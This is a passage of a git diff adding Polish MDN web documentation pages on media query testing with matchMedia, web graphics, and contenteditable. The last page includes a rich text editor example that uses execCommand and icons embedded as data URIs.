+<h3 id="Dodatkowe_zasoby" name="Dodatkowe_zasoby"> Dodatkowe zasoby </h3>
+<ul><li> <a class=" external" href="http://weblogs.mozillazine.org/roc/archives/2005/03/gecko_18_for_we.html" rel="freelink">http://weblogs.mozillazine.org/roc/a...18_for_we.html</a>
+</li></ul>
+{{ languages( { "en": "en/CSS3_Columns", "es": "es/Columnas_con_CSS-3", "fr": "fr/Colonnes_CSS3", "it": "it/Le_Colonne_nei_CSS3", "ja": "ja/CSS3_Columns", "ko": "ko/CSS3_Columns" } ) }}
diff --git a/files/pl/web/guide/css/sprawdzanie_media_queries/index.html b/files/pl/web/guide/css/sprawdzanie_media_queries/index.html
new file mode 100644
index 0000000000..140d3a1796
--- /dev/null
+++ b/files/pl/web/guide/css/sprawdzanie_media_queries/index.html
@@ -0,0 +1,116 @@
+---
+title: Sprawdzanie media queries
+slug: Web/Guide/CSS/Sprawdzanie_media_queries
+translation_of: Web/CSS/Media_Queries/Testing_media_queries
+---
+<p>{{SeeCompatTable}}</p>
+
+<p>DOM dostarcza funkcje, dzięki którym możliwym jest sprawdzenie wyników media query. Jest to możliwe przy użyciu interfejsu {{domxref("MediaQueryList") }} i jego funkcji oraz właściwości. Po utworzeniu obiektu {{domxref("MediaQueryList") }} możesz zbadać wynik zapytania (query) lub (dodatkowo) otrzymywać powiadomienie, gdy rezultat się zmieni.</p>
+
+<h2 id="Creating_a_media_query_list" name="Creating_a_media_query_list">Tworzenie listy media query</h2>
+
+<p>Zanim będziesz mógł ocenić wynik zapytania, musisz utworzyć obiekt {{domxref("MediaQueryList") }}, <span class="short_text" id="result_box" lang="pl"><span class="hps">reprezentujący</span></span> media query. Aby to uczynić użyj metody {{domxref("window.matchMedia") }}.</p>
+
+<p>Na przykład, jeśli chcesz ustalić czy orientacja urządzenia jest pionowa czy pozioma, możesz skorzystać z takiego zapytania jak poniżej:</p>
+
+<pre>var mql = window.matchMedia("(orientation: portrait)"); /* sprawdzamy czy orientacja obiektu, jest pionowa; zwraca obiekt MediaQueryList */
+</pre>
+
+<h2 id="Checking_the_result_of_a_query" name="Checking_the_result_of_a_query">Sprawdzanie rezultatu zapytania (query)</h2>
+
+<p>Po wykonaniu powyższej metody, mamy dostęp do obiektu {{domxref("MediaQueryList") }}, który ma kilka przydatnych metod i właściwości. Jedną z nich jest cecha <code>matches</code>, która zwraca <code>prawdę</code> lub <code>fałsz</code>.</p>
+
+<pre class="brush: js">if (mql.matches) {
+ /* wykryta orientacja pionowa */
+} else {
+ /* wykryta orientacja pozioma */
+}
+</pre>
+
+<h2 id="Receiving_query_notifications" name="Receiving_query_notifications">Otrzymywanie powiadomień</h2>
+
+<p>W przypadku, gdy chciałbyś na bieżąco dostawać alerty o stanie zapytania (query), skorzystaj z funkcji <code>addListener()</code>, która jest zdecydowanie wydajniejsza aniżeli sprawdzanie "ręcznie" co jakiś czas. By skorzystać z tego ułatwienia, wywołaj tę funkcję na obiekcie {{domxref("MediaQueryList") }}, określając <span class="short_text" id="result_box" lang="pl"><span class="hps">obserwator, który implementuje</span></span> interfejs {{domxref("MediaQueryListListener") }}:</p>
+
+<pre class="brush: js">var mql = window.matchMedia("(orientation: portrait)");
+mql.addListener(zmianaOrientacji);
+zmianaOrientacji(mql);
+</pre>
+
+<p>Powyższy kod tworzy media query list, a następnie dołącza listener. Zauważ, że po dodaniu listenera, przywołaliśmy listenera bezpośrednio - trzecia linijka. To pozwala nam określić aktualną orientację urządzenia.</p>
+
+<p>Zaimplementowana metoda <code>zmianaOrientacji()</code> pozwala nam wykonać pewne czynności, gdy zmieni się położenie urządzenia.</p>
+
+<pre class="brush: js">function zmianaOrientacji(mql) {
+ if (mql.matches) {
+ /* wykryta orientacja pionowa */
+ } else {
+ /* wykryta orientacja pozioma */
+ }
+}
+</pre>
+
+<h2 id="Ending_query_notifications" name="Ending_query_notifications">Wyłączenie powiadomień</h2>
+
+<p>Gdy nie potrzebujesz już powiadomień dotyczących zmiany wartości zapytania, możesz wywołać metodę <code>removeListener()</code> dostępną w obiekcie {{domxref("MediaQueryList") }}:</p>
+
+<pre>mql.removeListener(zmianaOrientacji);
+</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność z przeglądarką</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>9</td>
+ <td>{{CompatGeckoDesktop("6.0") }}</td>
+ <td>10</td>
+ <td>12.1</td>
+ <td>5.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>3.0</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10</td>
+ <td>12.1</td>
+ <td>5</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Zobacz także</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">Media queries</a></li>
+ <li>{{domxref("window.matchMedia()") }}</li>
+ <li>{{domxref("MediaQueryList") }}</li>
+ <li>{{domxref("MediaQueryListListener") }}</li>
+</ul>
diff --git a/files/pl/web/guide/graphics/index.html b/files/pl/web/guide/graphics/index.html
new file mode 100644
index 0000000000..17edfe14d1
--- /dev/null
+++ b/files/pl/web/guide/graphics/index.html
@@ -0,0 +1,41 @@
+---
+title: Grafiki na stronach
+slug: Web/Guide/Graphics
+tags:
+ - 2D
+ - 3D
+ - Canvas
+ - Graphics
+ - NeedsTranslation
+ - TopicStub
+ - Web
+ - WebGL
+translation_of: Web/Guide/Graphics
+---
+<p><span class="seoSummary">Nowoczesne strony czy też aplikacje internetowe często muszą prezentować pewne grafiki.</span> Dopóki proste wyświetlenie obrazka można wykonać za pomocą elementu {{HTMLElement("img")}}, albo ustawiając tło elementu HTML poprzez atrybut {{cssxref("background-image")}}, to często i tak zachodzi potrzeba generowania grafiki w locie albo manipulowania wyświetlonymi już obrazami. Poniże artykuły wprowadzą Ciebie głębiej w realizowanie tych czynności.</p>
+<div class="row topicpage-table">
+ <div class="section">
+ <h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Grafika 2D</h2>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Web/Guide/Graphics/Drawing_graphics_with_canvas">Rysowanie grafiki z elementem canvas</a></dt>
+ <dd>
+ Przewodnik wprowadzający do użycia elementu {{HTMLElement("canvas")}}, by rysować grafikę 2D w przeglądarce.</dd>
+ <dt>
+ <a href="/en-US/docs/SVG">SVG</a></dt>
+ <dd>
+ Scalable Vector Graphics (SVG) pozwala używać linii, krzywych oraz innych kształtów by wyświetlać grafikę. Unikając bitmap możesz generować obrazki, które bez problemów przeskalujesz do dowolnego rozmiaru.</dd>
+ </dl>
+ <p><span class="alllinks"><a href="/en-US/docs/tag/Graphics">Wyświetl wszystko...</a></span></p>
+ </div>
+ <div class="section">
+ <h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Grafika 3D</h2>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Web/WebGL">WebGL</a></dt>
+ <dd>
+ Przewodnik, który ułatwi Tobie zaczęcie pracy z WebGL. Technologia ta umożliwia użycie standardu OpenGL ES prosto w przeglądarce.</dd>
+ </dl>
+ </div>
+</div>
+<p> </p>
diff --git a/files/pl/web/guide/html/editable_content/index.html b/files/pl/web/guide/html/editable_content/index.html
new file mode 100644
index 0000000000..77abe792b7
--- /dev/null
+++ b/files/pl/web/guide/html/editable_content/index.html
@@ -0,0 +1,216 @@
+---
+title: Making content editable
+slug: Web/Guide/HTML/Editable_content
+translation_of: Web/Guide/HTML/Editable_content
+---
+<p><span class="seoSummary">In progress. In HTML, any element can be editable. By using some JavaScript event handlers, you can transform your web page into a full and fast rich text editor. This article provides some information about this functionality.</span></p>
+
+<h2 id="How_does_it_work">How does it work?</h2>
+
+<p>All you have to do is set the {{htmlattrxref("contenteditable")}} attribute on nearly any HTML element to make it editable.</p>
+
+<p>Here's a simple example which creates a {{HTMLElement("div")}} element whose contents the user can edit.</p>
+
+<pre class="brush: html">&lt;div contenteditable="true"&gt;
+ This text can be edited by the user.
+&lt;/div&gt;</pre>
+
+<p>Here's the above HTML in action:</p>
+
+<p>{{ EmbedLiveSample('How_does_it_work') }}</p>
+
+<h2 id="Executing_commands">Executing commands</h2>
+
+<p>When an HTML element has <code>contenteditable</code> set to <code>true</code>, the {{ domxref("document.execCommand()") }} method is made available. This lets you run <a href="/en-US/docs/Web/API/document.execCommand#Commands">commands</a> to manipulate the contents of the editable region. Most commands affect the document's selection by, for example, applying a style to the text (bold, italics, etc), while others insert new elements (like adding a link) or affect an entire line (indenting). When using <code>contentEditable</code>, calling <code>execCommand()</code> will affect the currently active editable element.</p>
+
+<h2 id="Differences_in_markup_generation">Differences in markup generation</h2>
+
+<p>Use of <code>contenteditable</code> across different browsers has been painful for a long time because of the differences in generated markup between browsers. For example, even something as simple as what happens when you press Enter/Return to create a new line of text inside an editable element was handled differently across the major browsers (Firefox inserted {{htmlelement("br")}} elements, IE/Opera used {{htmlelement("p")}}, Chrome/Safari used {{htmlelement("div")}}).</p>
+
+<p>Fortunately, in modern browsers things are somewhat more consistent. As of <a href="/en-US/docs/Mozilla/Firefox/Releases/55">Firefox 55</a>, Firefox has been updated to wrap the separate lines in {{htmlelement("div")}} elements, matching the behavior of Chrome, modern Opera, Edge, and Safari.</p>
+
+<p>Try it out in the above example.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Internet Explorer, which is no longer being developed, uses {{htmlelement("p")}} elements instead of <code>&lt;div&gt;</code>.</p>
+</div>
+
+<p>If you want to use a different paragraph separator, the above browsers all support {{domxref("document.execCommand")}}, which provides a <code>DefaultParagraphSeparator</code> command to allow you to change it. For example, to use {{htmlelement("p")}} elements:</p>
+
+<pre class="language-js"><code class="language-js">document<span class="punctuation token">.</span><span class="function token">execCommand</span><span class="punctuation token">(</span><span class="string token">"DefaultParagraphSeparator"</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">,</span> <span class="string token">"p"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Security">Security</h2>
+
+<p>For security reasons, Firefox doesn't let JavaScript code use clipboard related features (copy, paste, etc.) by default. You can enable them by setting the preferences shown below using <code>about:config</code>:</p>
+
+<pre class="code">user_pref("capability.policy.policynames", "allowclipboard");
+user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org");
+user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess");
+user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</pre>
+
+<h2 id="Example_A_simple_but_complete_rich_text_editor">Example: A simple but complete rich text editor</h2>
+
+<div style="height: 500px; width: auto; overflow: auto;">
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Rich Text Editor&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+var oDoc, sDefTxt;
+
+function initDoc() {
+  oDoc = document.getElementById("textBox");
+  sDefTxt = oDoc.innerHTML;
+  if (document.compForm.switchMode.checked) { setDocMode(true); }
+}
+
+function formatDoc(sCmd, sValue) {
+  if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); }
+}
+
+function validateMode() {
+  if (!document.compForm.switchMode.checked) { return true ; }
+  alert("Uncheck \"Show HTML\".");
+  oDoc.focus();
+  return false;
+}
+
+function setDocMode(bToSource) {
+  var oContent;
+  if (bToSource) {
+    oContent = document.createTextNode(oDoc.innerHTML);
+    oDoc.innerHTML = "";
+    var oPre = document.createElement("pre");
+    oDoc.contentEditable = false;
+    oPre.id = "sourceText";
+    oPre.contentEditable = true;
+    oPre.appendChild(oContent);
+    oDoc.appendChild(oPre);
+  } else {
+    if (document.all) {
+      oDoc.innerHTML = oDoc.innerText;
+    } else {
+      oContent = document.createRange();
+      oContent.selectNodeContents(oDoc.firstChild);
+      oDoc.innerHTML = oContent.toString();
+    }
+    oDoc.contentEditable = true;
+  }
+  oDoc.focus();
+}
+
+function printDoc() {
+  if (!validateMode()) { return; }
+  var oPrntWin = window.open("","_blank","width=450,height=470,left=400,top=100,menubar=yes,toolbar=no,location=no,scrollbars=yes");
+  oPrntWin.document.open();
+  oPrntWin.document.write("&lt;!doctype html&gt;&lt;html&gt;&lt;head&gt;&lt;title&gt;Print&lt;\/title&gt;&lt;\/head&gt;&lt;body onload=\"print();\"&gt;" + oDoc.innerHTML + "&lt;\/body&gt;&lt;\/html&gt;");
+  oPrntWin.document.close();
+}
+&lt;/script&gt;
+&lt;style type="text/css"&gt;
+.intLink { cursor: pointer; }
+img.intLink { border: 0; }
+#toolBar1 select { font-size:10px; }
+#textBox {
+  width: 540px;
+  height: 200px;
+  border: 1px #000000 solid;
+  padding: 12px;
+  overflow: scroll;
+}
+#textBox #sourceText {
+  padding: 0;
+  margin: 0;
+  min-width: 498px;
+  min-height: 200px;
+}
+#editMode label { cursor: pointer; }
+&lt;/style&gt;
+&lt;/head&gt;
+&lt;body onload="initDoc();"&gt;
+&lt;form name="compForm" method="post" action="sample.php" onsubmit="if(validateMode()){this.myDoc.value=oDoc.innerHTML;return true;}return false;"&gt;
+&lt;input type="hidden" name="myDoc"&gt;
+&lt;div id="toolBar1"&gt;
+&lt;select onchange="formatDoc('formatblock',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option selected&gt;- formatting -&lt;/option&gt;
+&lt;option value="h1"&gt;Title 1 &amp;lt;h1&amp;gt;&lt;/option&gt;
+&lt;option value="h2"&gt;Title 2 &amp;lt;h2&amp;gt;&lt;/option&gt;
+&lt;option value="h3"&gt;Title 3 &amp;lt;h3&amp;gt;&lt;/option&gt;
+&lt;option value="h4"&gt;Title 4 &amp;lt;h4&amp;gt;&lt;/option&gt;
+&lt;option value="h5"&gt;Title 5 &amp;lt;h5&amp;gt;&lt;/option&gt;
+&lt;option value="h6"&gt;Subtitle &amp;lt;h6&amp;gt;&lt;/option&gt;
+&lt;option value="p"&gt;Paragraph &amp;lt;p&amp;gt;&lt;/option&gt;
+&lt;option value="pre"&gt;Preformatted &amp;lt;pre&amp;gt;&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('fontname',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- font -&lt;/option&gt;
+&lt;option&gt;Arial&lt;/option&gt;
+&lt;option&gt;Arial Black&lt;/option&gt;
+&lt;option&gt;Courier New&lt;/option&gt;
+&lt;option&gt;Times New Roman&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('fontsize',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- size -&lt;/option&gt;
+&lt;option value="1"&gt;Very small&lt;/option&gt;
+&lt;option value="2"&gt;A bit small&lt;/option&gt;
+&lt;option value="3"&gt;Normal&lt;/option&gt;
+&lt;option value="4"&gt;Medium-large&lt;/option&gt;
+&lt;option value="5"&gt;Big&lt;/option&gt;
+&lt;option value="6"&gt;Very big&lt;/option&gt;
+&lt;option value="7"&gt;Maximum&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('forecolor',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- color -&lt;/option&gt;
+&lt;option value="red"&gt;Red&lt;/option&gt;
+&lt;option value="blue"&gt;Blue&lt;/option&gt;
+&lt;option value="green"&gt;Green&lt;/option&gt;
+&lt;option value="black"&gt;Black&lt;/option&gt;
+&lt;/select&gt;
+&lt;select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;"&gt;
+&lt;option class="heading" selected&gt;- background -&lt;/option&gt;
+&lt;option value="red"&gt;Red&lt;/option&gt;
+&lt;option value="green"&gt;Green&lt;/option&gt;
+&lt;option value="black"&gt;Black&lt;/option&gt;
+&lt;/select&gt;
+&lt;/div&gt;
+&lt;div id="toolBar2"&gt;
+&lt;img class="intLink" title="Clean" onclick="if(validateMode()&amp;&amp;confirm('Are you sure?')){oDoc.innerHTML=sDefTxt};" src="data:image/gif;base64,R0lGODlhFgAWAIQbAD04KTRLYzFRjlldZl9vj1dusY14WYODhpWIbbSVFY6O7IOXw5qbms+wUbCztca0ccS4kdDQjdTLtMrL1O3YitHa7OPcsd/f4PfvrvDv8Pv5xv///////////////////yH5BAEKAB8ALAAAAAAWABYAAAV84CeOZGmeaKqubMteyzK547QoBcFWTm/jgsHq4rhMLoxFIehQQSAWR+Z4IAyaJ0kEgtFoLIzLwRE4oCQWrxoTOTAIhMCZ0tVgMBQKZHAYyFEWEV14eQ8IflhnEHmFDQkAiSkQCI2PDC4QBg+OAJc0ewadNCOgo6anqKkoIQA7" /&gt;
+&lt;img class="intLink" title="Print" onclick="printDoc();" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oEBxcZFmGboiwAAAAIdEVYdENvbW1lbnQA9syWvwAAAuFJREFUOMvtlUtsjFEUx//n3nn0YdpBh1abRpt4LFqtqkc3jRKkNEIsiIRIBBEhJJpKlIVo4m1RRMKKjQiRMJRUqUdKPT71qpIpiRKPaqdF55tv5vvusZjQTjOlseUkd3Xu/3dPzusC/22wtu2wRn+jG5So/OCDh8ycMJDflehMlkJkVK7KUYN+ufzA/RttH76zaVocDptRxzQtNi3mRWuPc+6cKtlXZ/sddP2uu9uXlmYXZ6Qm8v4Tz8lhF1H+zDQXt7S8oLMXtbF4e8QaFHjj3kbP2MzkktHpiTjp9VH6iHiA+whtAsX5brpwueMGdONdf/2A4M7ukDs1JW662+XkqTkeUoqjKtOjm2h53YFL15pSJ04Zc94wdtibr26fXlC2mzRvBccEbz2kiRFD414tKMlEZbVGT33+qCoHgha81SWYsew0r1uzfNylmtpx80pngQQ91LwVk2JGvGnfvZG6YcYRAT16GFtW5kKKfo1EQLtfh5Q2etT0BIWF+aitq4fDbk+ImYo1OxvGF03waFJQvBCkvDffRyEtxQiFFYgAZTHS0zwAGD7fG5TNnYNTp8/FzvGwJOfmgG7GOx0SAKKgQgDMgKBI0NJGMEImpGDk5+WACEwEd0ywblhGUZ4Hw5OdUekRBLT7DTgdEgxACsIznx8zpmWh7k4rkpJcuHDxCul6MDsmmBXDlWCH2+XozSgBnzsNCEE4euYV4pwCpsWYPW0UHDYBKSWu1NYjENDReqtKjwn2+zvtTc1vMSTB/mvev/WEYSlASsLimcOhOBJxw+N3aP/SjefNL5GePZmpu4kG7OPr1+tOfPyUu3BecWYKcwQcDFmwFKAUo90fhKDInBCAmvqnyMgqUEagQwCoHBDc1rjv9pIlD8IbVkz6qYViIBQGTJPx4k0XpIgEZoRN1Da0cij4VfR0ta3WvBXH/rjdCufv6R2zPgPH/e4pxSBCpeatqPrjNiso203/5s/zA171Mv8+w1LOAAAAAElFTkSuQmCC"&gt;
+&lt;img class="intLink" title="Undo" onclick="formatDoc('undo');" src="data:image/gif;base64,R0lGODlhFgAWAOMKADljwliE33mOrpGjuYKl8aezxqPD+7/I19DV3NHa7P///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARR8MlJq7046807TkaYeJJBnES4EeUJvIGapWYAC0CsocQ7SDlWJkAkCA6ToMYWIARGQF3mRQVIEjkkSVLIbSfEwhdRIH4fh/DZMICe3/C4nBQBADs=" /&gt;
+&lt;img class="intLink" title="Redo" onclick="formatDoc('redo');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAB1ChDljwl9vj1iE34Kl8aPD+7/I1////yH5BAEKAAcALAAAAAAWABYAAANKeLrc/jDKSesyphi7SiEgsVXZEATDICqBVJjpqWZt9NaEDNbQK1wCQsxlYnxMAImhyDoFAElJasRRvAZVRqqQXUy7Cgx4TC6bswkAOw==" /&gt;
+&lt;img class="intLink" title="Remove formatting" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg=="&gt;
+&lt;img class="intLink" title="Bold" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" /&gt;
+&lt;img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" /&gt;
+&lt;img class="intLink" title="Underline" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" /&gt;
+&lt;img class="intLink" title="Left align" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" /&gt;
+&lt;img class="intLink" title="Center align" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" /&gt;
+&lt;img class="intLink" title="Right align" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" /&gt;
+&lt;img class="intLink" title="Numbered list" onclick="formatDoc('insertorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAADljwliE35GjuaezxtHa7P///////yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKSespwjoRFvggCBUBoTFBeq6QIAysQnRHaEOzyaZ07Lu9lUBnC0UGQU1K52s6n5oEADs=" /&gt;
+&lt;img class="intLink" title="Dotted list" onclick="formatDoc('insertunorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAAB1ChF9vj1iE33mOrqezxv///////yH5BAEAAAcALAAAAAAWABYAAAMyeLrc/jDKSesppNhGRlBAKIZRERBbqm6YtnbfMY7lud64UwiuKnigGQliQuWOyKQykgAAOw==" /&gt;
+&lt;img class="intLink" title="Quote" onclick="formatDoc('formatblock','blockquote');" src="data:image/gif;base64,R0lGODlhFgAWAIQXAC1NqjFRjkBgmT9nqUJnsk9xrFJ7u2R9qmKBt1iGzHmOrm6Sz4OXw3Odz4Cl2ZSnw6KxyqO306K63bG70bTB0rDI3bvI4P///////////////////////////////////yH5BAEKAB8ALAAAAAAWABYAAAVP4CeOZGmeaKqubEs2CekkErvEI1zZuOgYFlakECEZFi0GgTGKEBATFmJAVXweVOoKEQgABB9IQDCmrLpjETrQQlhHjINrTq/b7/i8fp8PAQA7" /&gt;
+&lt;img class="intLink" title="Delete indentation" onclick="formatDoc('outdent');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAAAAADljwliE35GjuaezxtDV3NHa7P///yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKCQG9F2i7u8agQgyK1z2EIBil+TWqEMxhMczsYVJ3e4ahk+sFnAgtxSQDqWw6n5cEADs=" /&gt;
+&lt;img class="intLink" title="Add indentation" onclick="formatDoc('indent');" src="data:image/gif;base64,R0lGODlhFgAWAOMIAAAAADljwl9vj1iE35GjuaezxtDV3NHa7P///////////////////////////////yH5BAEAAAgALAAAAAAWABYAAAQ7EMlJq704650B/x8gemMpgugwHJNZXodKsO5oqUOgo5KhBwWESyMQsCRDHu9VOyk5TM9zSpFSr9gsJwIAOw==" /&gt;
+&lt;img class="intLink" title="Hyperlink" onclick="var sLnk=prompt('Write the URL here','http:\/\/');if(sLnk&amp;&amp;sLnk!=''&amp;&amp;sLnk!='http://'){formatDoc('createlink',sLnk)}" src="data:image/gif;base64,R0lGODlhFgAWAOMKAB1ChDRLY19vj3mOrpGjuaezxrCztb/I19Ha7Pv8/f///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARY8MlJq7046827/2BYIQVhHg9pEgVGIklyDEUBy/RlE4FQF4dCj2AQXAiJQDCWQCAEBwIioEMQBgSAFhDAGghGi9XgHAhMNoSZgJkJei33UESv2+/4vD4TAQA7" /&gt;
+&lt;img class="intLink" title="Cut" onclick="formatDoc('cut');" src="data:image/gif;base64,R0lGODlhFgAWAIQSAB1ChBFNsRJTySJYwjljwkxwl19vj1dusYODhl6MnHmOrpqbmpGjuaezxrCztcDCxL/I18rL1P///////////////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAVu4CeOZGmeaKqubDs6TNnEbGNApNG0kbGMi5trwcA9GArXh+FAfBAw5UexUDAQESkRsfhJPwaH4YsEGAAJGisRGAQY7UCC9ZAXBB+74LGCRxIEHwAHdWooDgGJcwpxDisQBQRjIgkDCVlfmZqbmiEAOw==" /&gt;
+&lt;img class="intLink" title="Copy" onclick="formatDoc('copy');" src="data:image/gif;base64,R0lGODlhFgAWAIQcAB1ChBFNsTRLYyJYwjljwl9vj1iE31iGzF6MnHWX9HOdz5GjuYCl2YKl8ZOt4qezxqK63aK/9KPD+7DI3b/I17LM/MrL1MLY9NHa7OPs++bx/Pv8/f///////////////yH5BAEAAB8ALAAAAAAWABYAAAWG4CeOZGmeaKqubOum1SQ/kPVOW749BeVSus2CgrCxHptLBbOQxCSNCCaF1GUqwQbBd0JGJAyGJJiobE+LnCaDcXAaEoxhQACgNw0FQx9kP+wmaRgYFBQNeAoGihCAJQsCkJAKOhgXEw8BLQYciooHf5o7EA+kC40qBKkAAAGrpy+wsbKzIiEAOw==" /&gt;
+&lt;img class="intLink" title="Paste" onclick="formatDoc('paste');" src="data:image/gif;base64,R0lGODlhFgAWAIQUAD04KTRLY2tXQF9vj414WZWIbXmOrpqbmpGjudClFaezxsa0cb/I1+3YitHa7PrkIPHvbuPs+/fvrvv8/f///////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAWN4CeOZGmeaKqubGsusPvBSyFJjVDs6nJLB0khR4AkBCmfsCGBQAoCwjF5gwquVykSFbwZE+AwIBV0GhFog2EwIDchjwRiQo9E2Fx4XD5R+B0DDAEnBXBhBhN2DgwDAQFjJYVhCQYRfgoIDGiQJAWTCQMRiwwMfgicnVcAAAMOaK+bLAOrtLUyt7i5uiUhADs=" /&gt;
+&lt;/div&gt;
+&lt;div id="textBox" contenteditable="true"&gt;&lt;p&gt;Lorem ipsum&lt;/p&gt;&lt;/div&gt;
